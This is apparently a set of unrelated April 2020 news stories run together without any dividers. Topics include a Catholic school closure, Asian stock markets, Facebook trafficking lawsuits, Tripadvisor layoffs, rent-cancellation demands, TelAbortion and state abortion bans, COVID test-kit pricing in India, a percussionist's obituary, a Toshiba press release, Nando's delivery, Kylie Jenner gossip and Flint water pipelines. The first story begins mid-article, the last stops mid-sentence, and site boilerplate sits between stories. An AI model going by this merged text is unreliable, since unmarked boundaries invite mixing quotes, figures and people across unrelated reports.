Lebanon Catholic, a K-12 school, currently has just over 300 students and more than 40 staff members. We know and fully understand that this news is going to hit our families hard, said Daniel Breen, Superintendent of Schools for the Diocese. We work to promote Catholic education in the Diocese and the closures we are announcing today are truly a last resort. We will be working closely with the leadership of both Holy Family and Lebanon Catholic and also with the families of these schools, to make this transition as smooth as possible. Diocese of Harrisburg enrolls nearly 10,000 students in its schools. Enrollment in Catholic schools across the state as well as the country have been in sharp decline in recent years. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. * Singapore leads losses * Philippines bucks trend, set for best day since April 17 * Vietnam pressured by energy stocks By Nikhil Subba April 28 (Reuters) - Most Southeast Asian markets gave up early gains to trade lower on Tuesday, as fears of a slow economic recovery from the coronavirus pandemic and a tumble in oil prices weighed on sentiment. Oil prices extended the previous session's slide on Tuesday, on worries about limited storage capacity for crude worldwide and expectations that demand for fuel may only recover slowly. "The crude oil market is still in a state of abyss. The mood remains highly bearish and uncertain, with no clear indication on when demand may return," analysts at OCBC said in a note. Energy stocks dragged down Vietnam's benchmark index as much as 0.7%. Petrovietnam Gas Joint Stock Group and Vietnam National Petroleum Group fell about 3% each. Leading losses in the region, Singapore's Straits Times index fell as much as 0.7%. Conglomerate Jardine Matheson Holdings slipped as much as 1.5% to hit a five-week, while Yangzijiang Shipbuilding tumbled 3.5%. Markets were optimistic earlier in the session as several parts of the United States and various other hard-hit economies, such as Italy, were set to open in efforts to revive their economies. The Philippine benchmark, rose as much as 1.9%, on track for its best day since April 17, lifted by consumer stocks. Conglomerate SM Investments Corp gained more than 4% and was set to post its best day since April 17, while food and beverage company Universal Robina advanced as much as 3.7%. Another bright spot was Indonesian stocks, up 0.4%, which was helped by gains in industrial companies. Sea transportation services provider Transcoal Pacific rose as much as 1.6%, while toll road service provider Jasa marga (Persero) jumped 3.9%. Thailand and Malaysia fell marginally. For Asian Companies click; SOUTHEAST ASIAN STOCK MARKETS AS AT 0347 GMT Change on the day Market Current Previous Pct Move close Singapore 2543.56 2549.4 -0.23 Bangkok 1267.29 1267.41 -0.01 Manila 5538.41 5450.45 1.61 Jakarta 4516.154 4513.141 0.07 Kuala Lumpur 1368.25 1370.16 -0.14 Ho Chi Minh 765.7 770.77 -0.66 Change so far in 2020 Market Current End 2019 Pct Move Singapore 2543.56 3222.83 -21.08 Bangkok 1267.29 1579.84 -19.78 Manila 5538.41 7,815.26 -29.13 Jakarta 4516.154 6,299.54 -28.31 Kuala Lumpur 1368.25 1588.76 -13.88 Ho Chi Minh 765.7 960.99 -20.32 (Reporting by Nikhil Subba in Bengaluru; Editing by Amy Caren Daniel) BRANDON THIBODEAUX, The New York Times A Texas appeals court has rejected Facebooks efforts to halt multiple lawsuits accusing the social media juggernaut of knowingly permitting sex traffickers to recruit through its various platforms. The lawsuits were brought by three Houston women recruited as 13-,14- and 16-year-olds through Facebook apps. The social media company appealed the rulings to the 14th Court of Appeal. The appeals court issued three parallel rulings all reflecting a 3-2 majority. In each case there was a dissenting ruling from Justice Tracy Christopher, who found Facebook should be cloaked in federal statutory immunity. FACEBOOK TRAFFICKING: Facebook, Instragram fighting Houston sex trafficking lawsuit Annie McAdams, the lawyer who sued on the young womens behalf, said she expects Facebook will seek to halt the cases by appealing the lower courts finding to the state supreme court. A Facebook spokesperson declined to comment on the rulings. The company previously told the Houston Chronicle that human trafficking is not permitted on the site and staffers must report all instances of trafficking theyre aware of to the National Center for Missing and Exploited Children. The trio of Houston lawsuits make the case that Facebook and its various apps and commodities should not be protected by blanket legal immunity and that Houston is the right place to proceed, even if Facebook is based in Silicon Valley. Houston is the backyard of where these children were harmed, McAdams said. Houston has long been recognized as a hub of human trafficking so it is a perfect the city to address the harms that have been created by online sex trafficking. The ruling came from civil judges in October. The appeals court agreed with plaintiffs in separate rulings that Facebook was not immune. Facebook argued that it was protected from answering lawsuits because the tech company had immunity under the Communications Decency Act, a 1996 law written to address defamation cases against technology cases during the dial-up era. Lawyers argued on behalf of the young girls trafficked through the site that the Communications Decency Act was never meant to protect tech companies from any and all claims. The act did not grant immunity across the board to tech companies, they said. The case broke new ground arguing that the federal Stop Enabling Sex Traffickers Act and the Fight Online Sex Trafficking Act, known as FOSTA-SESTA, makes it illegal to knowingly assist, facilitate, or support sex trafficking. It amended portions of the Communications Decency Act that said online companies were immune from civil liability if their users violated sex trafficking laws. Following the trial court proceeding, attorney McAdams explained,The CDA was never designed to protect entities that protect the rape of children. McAdams and her co-counsel argued that Facebook was knowingly benefiting from facilitating sex trafficking, even if it didnt endorse it. One of the cases, involving a 14-year-old from Spring, recounts how the girl was recruited, groomed and sold in 2018 by a man she met on Instagram. The trafficker beat her and sold her for commercial sex for three weeks. McAdams said the child has undergone intensive therapy in the years since. gabrielle.banks@chron.com Tripadvisor Lays Off 25 Percent of Global Workforce, Closes Some Offices Tripadvisor CEO Steve Kaufer informed employees Tuesday morning in a town hall meeting that the company is reducing its global workforce by 25 percent, including 600 U.S. employees as part of a broader restructuring, Skift has learned. [See the transcript of Kaufers town hall statement embedded below.] The number of global layoffs was more than 900, including the U.S. job cuts, Tripadvisor confirmed. As part of a rolling process, employees were being informed whether they would be selected for the job cuts, according to sources. Tripadvisor had nearly 4,200 global employees at the end of 2019 but had already done a round of layoffs of some 200 employees in January. As part of the restructuring, Tripadvisor is closing offices in downtown Boston and San Francisco, and most likely other office globally. The company is headquartered in Needham, Massachusetts, and has 52 offices. Most remaining employees are subject to 4-day work weeks, and a 20 percent pay cut. Tripadvisor firmly believe these measures are necessary and proportionate to the reality we face as a business and as an industry, the company said in a statement. Reorganization The reorganization Kaufer announced includes shuttering and consolidating some brands, as well as management changes. The Tripadvisor flights, car, and cruise teams will now be grouped under the business-to-consumer team and will be the responsibility of Lindsay Nelson, chief experience and brand officer. Cruise Critic, which runs as an independent business, now comes under the purview of Chief Financial Officer Ernst Teunissen. Tripadvisor is discontinuing its SmarterTravel business unit, and will determine which brands will survive under Nelsons leadership. Chief Commercial Officer Kanika Soni takes on additional responsibilities, including guiding a unified advertising sales team. Soni heads a merger of Tripadvisors business-to-business restaurants and accommodations teams. Story continues Nelson and Soni also become members of Tripadvisors executive officer contingent. Tripadvisor now has these two women and three men as their named executive officers in contrast to 2019, when it was four males. This is a tough day on many levels, and the pandemic has been nothing short of surreal, Kaufer told employees. With difficult decisions to make, the executive team and I firmly believe these actions appropriately balance our short-term financial needs with our long-term business objectives, but I know that reality offers little solace for those impacted by this news today. Note: This story has been updated to add the transcript of Kaufers statement to employees, and details about the restructuring. Correction: We erroneously reported that Kaufer said the layoffs would be reconsidered in July. Download (PDF, 83KB) Subscribe to Skift newsletters for essential news about the business of travel. California residents, activists, advocates and legislators called on Gov. Gavin Newsom to cancel rent and mortgage payments during the coronavirus outbreak to save low-income and working class individuals and families from homelessness. During a teleconferenced town hall meeting Monday afternoon, Newsom was called on to cancel the rents by several advocacy organizations throughout the state including Tenants Together, Housing Now!, the Alliance of Californians for Community Empowerment (ACCE) Action, Housing Is A Human Right, PICO California and the Partnership for Working Families. "The reality of it is people matter over profit, and today is a day to demonstrate that," Hayward City Councilwoman Aisha Wahab said. "I don't want to repeat the situation from the Great Recession. The banks kept all the homes and the people were impacted at the time." Wahab was one of several speakers who advocated on behalf of tenants and homeowners who have either already missed home payments or will soon miss one due to income loss because of the coronavirus outbreak. "We were already struggling before COVID-19 and we're struggling now," said Maria Guadalupe "Lupe" Arreola, executive director for Tenants Together. Organizers of the virtual town hall called for more than just eviction moratoriums. They asked the governor to take a step further and outright forgive rent and mortgage payments. Vannessa Bunes, a member of ACCE Action in Oakland, said federal stimulus checks and eviction moratoriums will not be enough for seniors, who are most at risk of contracting and dying from COVID-19. "Getting a bill four down the road for April, May, June and July would be more than $10,000," Bunes said. "My husband and I are senior citizens. We have more life behind us than ahead of us, so that kind of debt would throw us into homelessness." Copyright 2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. A new telemedicine service is connecting women with doctors who can write them prescriptions for drugs that will terminate their pregnancies. The coronavirus pandemic has limited access to abortion clinics in the United States, with many state level officials arguing that the procedure doesn't qualify as an essential surgery. But now, a new service called TelAbortion is giving women access to abortion pills. According to the group's website, a TelAbortion involves eliminates patients having to travel to an abortion clinic. 'Instead, the study abortion provider conducts a video evaluation over the internet,' and then the patients 'obtain all the necessary tests at medical facilities near your home'. 'The abortion pills are then sent to you by mail,' the website reads. A new telemedicine service called TelAbortion is connecting women with doctors who can write them prescriptions for drugs (Mifeprex tablets pictured) that will terminate their pregnancies Dr Elizabeth Raymond, a senior medical associate at Gynuity Health Projects, which runs the program, told The New York Times that TelAbortion is 'working to expand to new states as fast as possible' to accommodate women during the pandemic. TelAbortion, which has operated as a research study for several years under a special arrangement with the Food and Drug Administration, has mailed a total of 841 packages containing abortion pills since April 22, according to the newspaper. The group confirmed 611 completed abortions and 216 participants are either in the follow-up process or have not yet confirmed their results. TelAbortion charges $200 to $375 for consultations and pills. Participants would also be responsible for paying for an ultrasound and lab tests. Due the coronavirus pandemic, TelAbortion may waive its requirement for an ultrasound if women are unable to visit a doctor, Raymond told the Times. The conversations and policies surrounding abortions have always been controversial, and with the pandemic significantly impacting hospitals and other healthcare facilities, legislators have found ways to ban such procedures during this time. Last week, a federal appeals court allowed Arkansas to ban most surgical abortions during the coronavirus pandemic. A three-judge panel of the 8th US Circuit Court of Appeals dissolved a judge's temporary restraining order that allowed surgical abortions to continue after the Arkansas Department of Health told the state's only surgical abortion clinic to stop performing the procedure unless it was needed to protect the life or health of the mother. The appeals court's ruling said the Health Department's 'directive is a legally valid response to the circumstances confronted by the Governor and state health officials'. The state said Little Rock Family Planning Services violated an order requiring health providers to reschedule elective procedures that could be safely postponed. Texas Gov Greg Abbott (pictured on Monday) banned abortions last month, but last week Texas decided to allow abortions to resume following a legal battle over whether the Republican-governed state could enact a near-total ban on the procedure Republican Gov Asa Hutchinson said the state would ease its limits on elective surgeries starting Monday, though it was not immediately clear whether the move would allow surgical abortions to resume at the clinic. The state issued the order halting surgical abortions after initially encouraging the clinic to stop performing the procedure for out-of-state patients. Arkansas has reported at least 3,000 coronavirus cases and 50 deaths. The number of infections is likely higher because many people have not been tested and studies suggest people can be infected and not feel sick. The state's order did not prohibit medication abortions that are still administered by Little Rock Family Planning and another clinic operated by Planned Parenthood. 'All medically unnecessary surgeries must be postponed, and this decision affirms that surgical abortions do not get special treatment,' Republican Attorney General Leslie Rutledge said in a statement. Last month, Gov Greg Abbott announced a move to ban most abortions in the state during the coronavirus outbreak. But last week, Texas decided to allow abortions to resume following a legal battle over whether the Republican-governed state could enact a near-total ban on the procedure to preserve supplies of personal protective equipment during the coronavirus pandemic. In Oklahoma, Gov Kevin Stitt's (pictured) attempt to ban abortions during the coronavirus pandemic was denied by a federal judge last week The state told a federal judge in Austin, Texas, that a new executive order by Abbott regarding elective medical procedures provided exemptions that would allow abortions to not be postponed. The order allows healthcare facilities to resume elective medical procedures if they agree to reserve hospital capacity for COVID-19 patients and not request personal protective equipment from public sources during the coronavirus crisis. Texas Attorney General Ken Paxton's office said because the abortion providers challenging an earlier, stricter order by Abbott that expired on Tuesday have certified their compliance with the exemptions, there 'is no case or controversy remaining'. In Oklahoma, Gov Kevin Stitt's attempt to ban abortions during the coronavirus pandemic was denied by a federal judge. US District Judge Charles Goodwin issued a preliminary injunction late Monday after abortion providers sued Stitt over the ban. The injunction replaces a temporary restraining order that the same judge issued last week that allowed most abortions to continue. The injunction ensures that abortions can be performed in Oklahoma while the case continues in federal court. Stitt's office didn't immediately respond to a request for comment, but a spokesman for Oklahoma Attorney General Mike Hunter said he intends to appeal the decision. Stitt attempted to ban abortions in Oklahoma as part of a prohibition on elective surgeries aimed at preserving personal protective equipment, such as surgical masks, gowns and gloves, during the public health crisis. 'Abortion is essential, time-sensitive medical care that should not be caught in the crosshairs of political agendas, especially during a public health crisis,' Brandon Hill, president and CEO of Comprehensive Health of Planned Parenthood Great Plains, said in a statement. The mayor of the southern Kentucky city of Bowling Green said he was at a home he was renovating when he heard noises, went to investigate and found a woman hiding in his cellar. The woman, said to be in her mid-to-late 20s, fled after telling Mayor Bruce Wilkerson that she was hiding from someone, according to a police report. The mayor said the woman did not steal anything, and he does not want to pursue charges, dual NBC/CBS affiliate WNKY reported. Authorities have been searching for the woman to make sure she is OK. "Officers continue to patrol the area in attempts to check her welfare," Bowling Green police spokesman Ronnie Ward said Monday. "Nothing successful, so far." Image: Bowling Green Mayor Bruce Wilkerson said he found a woman hiding in a crawl space in his cellar at his home in Kentucky. (WNKY) The incident happened Wednesday at a home where Wilkerson recently began staying while he makes renovations. The mayor told police that he was at the house when he heard noises coming from outside, but when he went to investigate, he didn't find anything. He said he thought it might have been his neighbors and went back inside. A few hours later, the mayor heard sounds coming from his cellar. According to the police report, Wilkerson went to see what the noises were and found a backpack with women's clothing in it. He left, locking the cellar door behind him. "Just prior to calling the police, Wilkerson said someone flipped a breaker which cut power to the house," the police report states. When he went back to the cellar, a woman was in there. Wilkerson said the woman was wearing torn leggings and a t-shirt. When he asked her what she was doing there, the woman said she was hiding from someone. She asked Wilkerson not to call the police, but he did anyway. I was worried about her," he told NBC News. Ward said the woman may have been living in the cellar and may have been homeless. "We've taken every measure to determine her identity, unsuccessfully," the police spokesman said. The mayor said he left the woman's backpack outside of his home in case she needed it, but she hasn't been back. New Delhi, Apr 27 (UNI) Finding itself in the midst of a controversy over the over-priced COVID-19 rapid test kits ordered by Indian Council of Medical Research (ICMR) for testing for antibodies from China, the Health Ministry has been forced to defend itself. Speaking on ICMR's decision to opt for the rapid antibody blood test kits from a Chinese supplier, the Health Ministry released on Monday a fact sheet on rapid antibody test kits procured from the Chinese forms Guangzhou Wondfo Biotech, Zhuhai Livzon Diagnostics, stressed that "ICMR has not made any payment whatsoever in respect of these supplies. Because of the due process followed (not going for procurement with 100 per cent advance amount), GoI does not stand to lose a single rupee." The controversy arose after a legal dispute in Delhi High Court between the distributor and importer of COVID-19 rapid test kits being shipped from China unearthed massive profiteering and over-pricing in kits sold to ICMR. Delhi High Court single bench of Justice Najmi Waziri disallowed a 145 per cent mark-up from landed price of Rs 245 to ICMR's purchase price of Rs 600 per test and the price was slashed by 33 per cent from Rs 600 to Rs 400 per kit. Explaining the background in which procurement decisions are made by ICMR, the Health Ministry said ICMR was doing everything it can to ramp up testing as testing is one of the most crucial weapons to fight COVID-19 and to procure kits and supplying them to states at a time when globally there is huge demand for these test kits and various countries are applying their full might, monetary and diplomatic, to acquire them. This was the first-ever effort by any Indian agency to procure such kits and the rate quoted by the bidders was the only reference point. ICMR, which also tried to procure the kits directly from Wondfo company in China through CGI, found that the quotation received from direct procurement was FOB (Free on Board) without any commitment on logistics issues. The quotation was on the basis of 100 per cent direct advance without any guarantees. Besides there was no commitment on timelines. Rates were communicated in US dollars without any clause for accounting for fluctuations in prices. All this forced ICMR to go for Wondfos exclusive distributor for India for the kit who quoted an all inclusive price for FOB (logistics) without any clause for advance. After receipt of some supplies, ICMR has again conducted quality checks on these kits in field conditions. However, the order placed for Wondfo along with that of another make were found under-performing, forcing them to cancel disappointed with a scientific assessment of their performance. The release said ICMRS first attempt to procure these kits did not elicit any response from suppliers. Its second attempt got adequate responses. Of these, kits of two companies -- Biomedemics and Wondfo -- were identified for procurement as both had the requisite international certifications. For Wondfo, evaluation committee got four bids and the corresponding quotes received were Rs 1,204, Rs 1,200, Rs 844 and Rs 600 -- the last bid offer of Rs 600 was considered as L-1. UNI SD SB 1821 Mr. Abel displays one of the triangles he designed. Read more People Weve Lost Alan Abel 91 years old Lived in Bala Cynwyd He was a Philadelphia Orchestra percussionist More Memorials Almost anyone who has thrilled to the exclamation marks of the triangle in a Brahms symphony or fairy-dust accents of the small metallic instrument in a Liszt piano concerto knows the work of Alan Abel. He wasnt only a longtime percussionist with the Philadelphia Orchestra, but a builder of instruments. His particular take on the orchestral triangle was so successful that it became used in orchestras all over. Mr. Abel, 91, also taught widely, wrote and edited texts on orchestral percussion repertoire, helped to restore parts of Ardmore Presbyterian Church, and performed as a substitute player with the Philadelphia Orchestra long after his 1997 retirement from the group. He died Saturday, April 25, at Lankenau Medical Center in Wynnewood from complications of the coronavirus, his family said. Mr. Abel, most recently of Bala Cynwyd, was a major influence on the percussion orchestral realm in the United States, Canada, Asia, Mexico, and parts of Europe, said Philadelphia Orchestra timpanist Don S. Liuzzi. He was one of the great orchestral percussionists, said Liuzzi. He was renowned as a snare drum master, but in everything he did, in all of his orchestral playing, it was about fitting in with the music, which mirrored his humble nature. It wasnt about being flashy. There was a grace about his playing. Born Dec. 6, 1928, in Hobart, Ind., Alan Daniel Abel attended the Eastman School of Music, graduating in 1951. He served in the Air Force from 1951 to 1953 and then joined the Oklahoma City Symphony. One of the guest conductors who passed through that orchestra was Leopold Stokowski, who, in a newspaper interview, singled out Mr. Abels playing. The young percussionist sent the newspaper clipping to the Philadelphia Orchestra and asked to be considered for any openings, Mr. Abel told the Percussive Arts Society, in whose Hall of Fame he was inducted in 1998. He was the type of teacher who could make anybody better. colleague Peter Wilson An opening came, he auditioned, and began as third percussionist in 1959. He advanced to the assistant principal spot in 1973 and became associate principal in 1988. Over the years, he was a standout on any number of instruments, whether it was the bass drum in Johann Strauss Jr.'s Thunder and Lightning Polka, the snare in Rachmaninoffs The Bells, or tambourine in Wagners Overture to Das Liebesverbot. Mr. Abel and fellow percussionist Fred Hinger often worked together to ponder how instruments could produce sound that would carry in the Academy of Music, said Liuzzi. A stand Mr. Abel created for suspending the bass drum has become standard equipment in the field. The triangles he designed have resonance and an ability to really cut through the orchestra, Liuzzi said. Its very popular. For a while it was the only top-notch triangle. He taught at a number of schools, including, from 1973 to 2019, Temple University. More than a third of notable American orchestras have a percussionist who studied with Mr. Abel or with one of his students, said Liuzzi. He had been slated to lead a class via Zoom on April 21 but was hospitalized the day before, said Mr. Abels daughter, Marianne. He was the type of teacher who could make anybody better, said Peter Wilson, a freelance percussionist based in Phoenix who studied with Mr. Abel at Temple and privately. He had a systematic way of doing things, so it was impossible not to improve if you did what he said. He also geared his training to help students succeed in the cut-throat audition circuit. Said Wilson: Hes hard to match for placing students in serious, reputable orchestras." Mr. Abel is survived by his wife of 68 years, Janet Voorhies Abel; children Marianne Chenoweth, Alan, and Paul; seven grandchildren; 17 great-grandchildren; and a brother. Services are expected later. [April 28, 2020] Toshiba Wins Better Buys Q1 Editor's Choice Award Better Buys awards Toshiba America Business Solutions' latest monochrome multifunction printers (MFPs) its Q1 2020 Editor's Choice Award. Toshiba's (News - Alert) e-STUDIO2829A and e-STUDIO2329A were selected for the products' unique feature array and extreme value for small-to-medium-sized businesses. Blending ledger-sized paper support within a compact footprint, Toshiba's latest A3 MFP presents businesses a space-saving product tackling daily document management needs. It delivers up to 28 pages-per-minute (ppm) monochrome in crisp 2400 x 600 dots-per-inch resolution and offers color scanning at 22 pages per minute for vibrant digital materials at a moment's notice. Better Buys' team also appreciates the products' high-productivity elements. Both systems hold 350 sheets while expanding up to 1,700 sheets with optional paper sources. Coupling a robust 17,500 toner yield and 64-thousand periodic maintenance intervals means these products deliver optimal productivity, versatility, and affordability. Further, inspiring reviewers is Toshiba's e-BRIDGE Print & Capture Entry app enabling Apple iOS and Android (News - Alert) users to print to and scan from the Toshiba e-STUDIO MFPs with their mobile devices. Also recognized was the systems' Wi-Fi option, which converts the networkable MFP into an access point. Toshiba's unique features enhance productivity while empowering today's mobile workforce. "Toshiba continues to offer exceptional multifunction printers, especally for the small-to-midsize workgroups," said Melissa Pardo-Bunte, Editor, Better Buys. "The e-STUDIO2829A and e-STUDIO2329A systems have robust features, including higher paper capacity, color scanning and the e-BRIDGE Print & Capture Entry app for scanning and printing to/from smartphones and tablets." Better Buys Q1 2020 Editor's Choice Award represents one of many honors Toshiba has swept up in the past decade. Toshiba secured Better Buys' Innovative Product of the Year the past two years (in 2018 for the hybrid e-STUDIO4508LP, and in 2019 for the e-STUDIO5015AC series) while winning the office equipment authority's premier distinction five times since 2012. "The Toshiba team is honored by our most recent Better Buys award in recognition for our latest monochrome MFPs," said Toshiba America Business Solutions Chief Marketing Executive Bill Melo. "We are also pleased our latest generation e-STUDIO products are resonating with small and medium-sized businesses seeking systems with high value and rich print features." About Better Buys After more than 20 years as a trusted authority on office equipment, Better Buys is now a rebranded site that offers resources to help companies in the market for Business Intelligence solutions, HR Software, CMMS Systems, as well as printers, copiers, and scanners. Leveraging an experienced team of in-house editors, Better Buys offers a range of content and resources designed to help organizations make smarter purchasing decisions, including expert reviews, authoritative whitepapers & reports, insightful market research, comprehensive buyer's guides, and more. For more information, visit betterbuys.com. About Toshiba America Business Solutions, Inc. Toshiba America Business Solutions delivers multifunction printers, managed document services, point-of-sale and thermal barcode printers as well as digital signage for businesses of all sizes across the United States, Mexico, and Central and South America. The company's award-winning e-STUDIO multifunction printers combine quality performance with the security businesses require. TABS provides displays, content creation, integration, installation and project management services as well as financing for solutions ranging from a single screen to the biggest arenas and stadiums. For additional information, please visit business.toshiba.com. Follow TABS on Facebook, Twitter, LinkedIn and YouTube. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005025/en/ [ Back To TMCnet.com's Homepage ] N ando's has revealed that it has reopened six of its UK restaurants to the public this week for delivery including four locations in London. As of this week, the cult-favourite chicken restaurant has reopened four London sites and two in Manchester for delivery-only service via Deliveroo. The move comes after the group partially reopened the same London sites last week along with one in Manchester and one in Dublin in order to cook and deliver 10,000 free meals to local charities and NHS workers. The Nandos restaurants that are now open for delivery are listed below: Nandos Clink Street, London, SE1 9DG, via Deliveroo Nandos Camberwell, London, SE5 8RX, via Deliveroo Nandos Canary Wharf Jubilee Place, London, E14 5NY, via Deliveroo Nandos Gloucester Road, London, SW7 4ST, via Deliveroo Nandos Fallowfield, Manchester, M14 6SS, via Deliveroo Nandos Printworks, Manchester, M4 2BS, via Deliveroo The restaurants will offer a reduced menu, but will still be offering some of the brands most popular dishes, including peri-peri chicken wings, halloumi and peri chips. Nandos says the locations will operate behind closed doors and will not be open either for eat-in or collection. The reopening comes five weeks after the peri-peri purveyor announced that it would close all of its restaurants in the UK and Ireland of which it has more than 400 following government advice to avoid restaurants and other social spaces. The company explained on Twitter that made the decision because the health and safety of our customers and team is our highest priority, having previously said it would stay open for delivery services. The best restaurants still on Deliveroo during the lockdown 1 /36 The best restaurants still on Deliveroo during the lockdown Murger Han Xian-style Chinese dishes including hand-pulled biang biang noodles (Euston, Mayfair) Hakkasan Michelin-starred dim sum on wheels (Mayfair) Sutton & Sons Classic fish and chips shop with a very modern vegan menu (Essex Road, Stoke Newington) Rosa's Thai Cafe Thai chain offering all the popular classics (Various locations check if there is one near you) Zia Lucia Pizza hotspot offering vegan options and gluten-free bases (Islington, Hammersmith, Aldgate, Bermondsey) Atcha Fully flavoured Indian rice bowls with a health-focused twist (Whitechapel) The Athenian Greek-style street food, from souvlaki to halloumi fries (White City, Wembley, Clapham, Canary Wharf, Victoria, Shoreditch) Atis Generously ingredient-laden salads taking inspiration from around the world (Old Street) Yauatcha Dumplings aplenty, with a short but sweet selection of main dishes (Soho) Only Jerkin' Fried chicken is given a jerk-seasoned shake up (Kennington only) Salvation In Noodles Vietnamese favourite serving hot bowls of pho and summer rolls (Finsbury Park, Dalston) Dominique Ansel Bakery The cronut creator delivers his famous pastries, cookies alongside savoury options (Belgravia) Five Guys A welcome American import, offering burgers and delicious cajun fries (Various locations check if there is one near you) The Cheese Bar Camden favourite offering all things cheese (Camden) Bird Fried chicken and waffle extraordinaire (Canary Wharf, Brixton, Stratford, Islington, Camden) Paul Winch-Furness / Photographe Ahi Poke Hawaiian salads with a build your own option (Swiss Cottage Editions only) Cottons A longstanding Caribbean classic (Notting Hill, Vauxhall, Shoreditch) Pittabun Greek street food favourites are given a European twist (Carnaby) L'Antica Pizzeria da Michele Naples-hailing pizza legend hailed as the best in the world (Marylebone only) Casa do Frango Missing Nandos? Hit up this highly praised Portuguese chicken joint instead (Shoreditch, London Bridge) Mother Clucker Seriously crunchy fried chicken served in strips, wraps or burgers (Whitechapel Editions only) By Chloe Vegan fast food from across the pond (Tower Bridge) Eggslut LA-hailing egg-centric restaurant (Notting Hill) Sushi Atelier The west London outpost of a Fitzrovia gem (St Johns Wood only) Big Fernand Paris-hailing Les Hamburgers made with lashings of melted French cheese (South Kensington) Daniel Hambury/@stellapicsltd The Halal Guys A New York street food sensation opened its second UK spot in west London (Earls Court) Melabes Excellent Israeli food on High Street Kensington (Kensington) Adrian Lourie Kylie Jenner had been sheltering in her Calabasas mansion with her two-year-old daughter Stormi amid the coronavirus (COVID-19) pandemic. The makeup mogul has spoken openly about the importance of staying in and flattening the curve. Aside from a trip to Palm Springs to see her mother, Kris Jenner, for the Easter holiday, the Keeping Up with the Kardashians star had been keeping busy in her home. From making cookies with Stormi to encouraging her little girl to swim, Jenner, who had remained home during the duration of her pregnancy seemed content with quarantining and isolation. However, in recent weeks it seems like the KUWTK star is getting antsy under Californias Stay-At-Home mandate. Last week, unflattering photos of a barefoot Jenner were released after she visited with her best friend, Stassie Karanikolaou. Not only were fans concerned about Jenners clear lack of hygiene, but she was also violating the quarantine mandate. Additionally, many people were stunned to see Jenner without makeup or one of her infamous wigs. Now, the Kylie Cosmetics founder has been spotted again in much more flattering photos and people are convinced she staged them. Kylie Jenners barefoot paparazzi photos shocked fans Since Jenner was a major voice calling for people to shelter in, fans were alarmed when she was spotted leaving her best friends home. Even more concerning, Jenner was not spotted wearing a mask or any shoes. It seems highly unsanitary at this time to run around outdoors without anything converting your feet. Clutching a bottle of water and some Lays chips, fans were shocked to see a barefaced Jenner who looks drastically different from the photos she posts on Instagram. One fan said, The entire family is very good at this aka living a lie. Another added, Hypocrites as usual. Since then, Jenner has posted some makeup-free videos on her Instagram account that look drastically different from these paparazzi photos. A new set of paparazzi photos of Kylie Jenner were just released Days after the release of those barefoot photos, Jenner was photographed out and about again, once again violating Californias Stay-At-Home order. This time, the mother-of-one was seen in a very different light. Dressed in a white tank-top, jeans, and Air Force Ones, Jenners makeup was flawless and she a wearing a honey blond wig and smizing at the camera. Interestingly enough she was also clutching a mask in her hand as she opened her car door. It looks like the KUWTK was trying to do some quick damage control. When quarantine hits you like every other human being but then you remember that you have to set an unrealistic standard for women that you yourself cant achieve without money, effort and time #KylieJenner #kylieskin pic.twitter.com/aHLhnrXrfo Stephanie Kreimerman (@stephkreimerman) April 26, 2020 Fans are convinced Kylie Jenner just staged these paparazzi photos Despite Jenner seemingly trying to fix her previous missteps, fans were not at all convinced or amused. One fan tweeted, Kylie Jenner is deliberately planning paparazzi photo shoots during a pandemic.. chile. Another fan was equally exasperated, Kylie Jenner really got one subpar (unphotoshopped) paparazzi pic of herself leaked and had a complete identity crisis. Someone else added, the way kylie cares about how she looks for the paparazzi during a mf pandemic i have no words. Yikes. FLINT, MI--City council has postponed reconsidering two critical water infrastructure projects until May 11. The construction of a $14.7 million, 5.5-mile pipeline connecting Flint to its emergency backup supply of water and a $2.1 million reconstruction of a reservoir was pushed to the next general meeting with a 5-4 vote at its meeting Monday night. Council members Maurice Davis, Ward 2, Santino Guerra, Ward 3, Kate Fields, Ward 4, and Eva Worthing, Ward 9, dissented. After a nearly eight-hour meeting, Councilman Eric Mays motioned to postpone the projects until the legislative bodys next general meeting. Council reconsiders Flints backup water source Monday Administrators have been urging the council to greenlight the project, which was supposed to be built by December 2019. Mayor Sheldon Neeley discussed the project during an April 23 press conference and said there wasnt work done on the project when he entered into office last year. The states director for drinking water and environmental health, Eric Oswald, addressed the councils questions during Mondays general meeting. The pipeline and reservoir are part of a larger plan with interrelated projects funded by the Water Infrastructure Improvements for the Nation Act. The council approved the plan and its designs in 2018. Construction of Flints emergency back-up water pipeline is in limbo Flints primary source of water, the Great Lakes Water Authority, is a single point of failure, Oswald said. If something were to happen that stops the transmission of water from GLWA, Flint will have to use water it has in storage which can only supply the city for one day. Thats certainly not an acceptable situation for the EPA or ELGE, Oswald said. It is in the best interest of the city to proceed with this project. The projects cannot be considered if they are separated from one another, Oswald said. Flint is incapable of treating its own water, Oswald said. We consider the construction of this pipeline as the only viable option at this point, Oswald said. Treatment of raw water is not an option were considering right now. Flint foots $238K bill for a mistake it didnt make, postpones critical water projects Oswald said if Flint treated its own water it would cost tens-of-millions-of-dollars and cause an unnecessary delay in a building a secondary water source. We do not believe the city of Flint has the technical, managerial and financial capacity to treat water at this time, Oswald said. We are concerned about the impact that will have on the citys water rates. Councilperson Eric Mays, Ward 1, said he is still hopeful that the city will be able to treat its own water in the future, but he is going to do whats right for the residents of Flint. There no harm in having two sources, Mays said. Flints proposed 2020-2021 budget takes $12M jump to cover legacy costs Several council members were concerned with the price of building the secondary pipeline. Several things changed the estimated cost of the project, according to Flint Director of Public Works Rob Bincsik. The price of constructing the project in the initial plan was a placeholder, Bincsik said. AECOM, an international engineering firm that designed the project, arrived at the initial amount using an industry standard for pricing, he said. They didnt take into consideration additional boring that would need to take place, Bincsik said. The county also changed the specifications of the project, like adding on valves and bypasses, which pushed the cost up. The city also needs to build a bigger pipe than initially anticipated, Bincsik said When the project was put out for bid, the city provided a very specific design and all those things, brought back four responsive bidders. L. DAgostini & Sons, of Macomb, was the lowest bidder. Councilperson Allan Griggs, Ward 8, suggested the citys primary and secondary sources of water arent adequate enough because theyre both supplied by Lake Huron. God forbid if some terrorist dumped something in Lake Huron, we would really be in trouble, Griggs said. Bincsik said he does not expect the company to request a change order, altering the price, for the project but it does have the ability to do so. Were hoping we thought of every possible issue so that there are not any change orders in the process, Bincsik said. The project was supposed to be completed by the end of December 2019. Oswald said several things, like the design and securing federal funding, delayed the project. The design was changed to accommodate ongoing demands for the project, Bincsik said. I think you are doing your due diligence. I 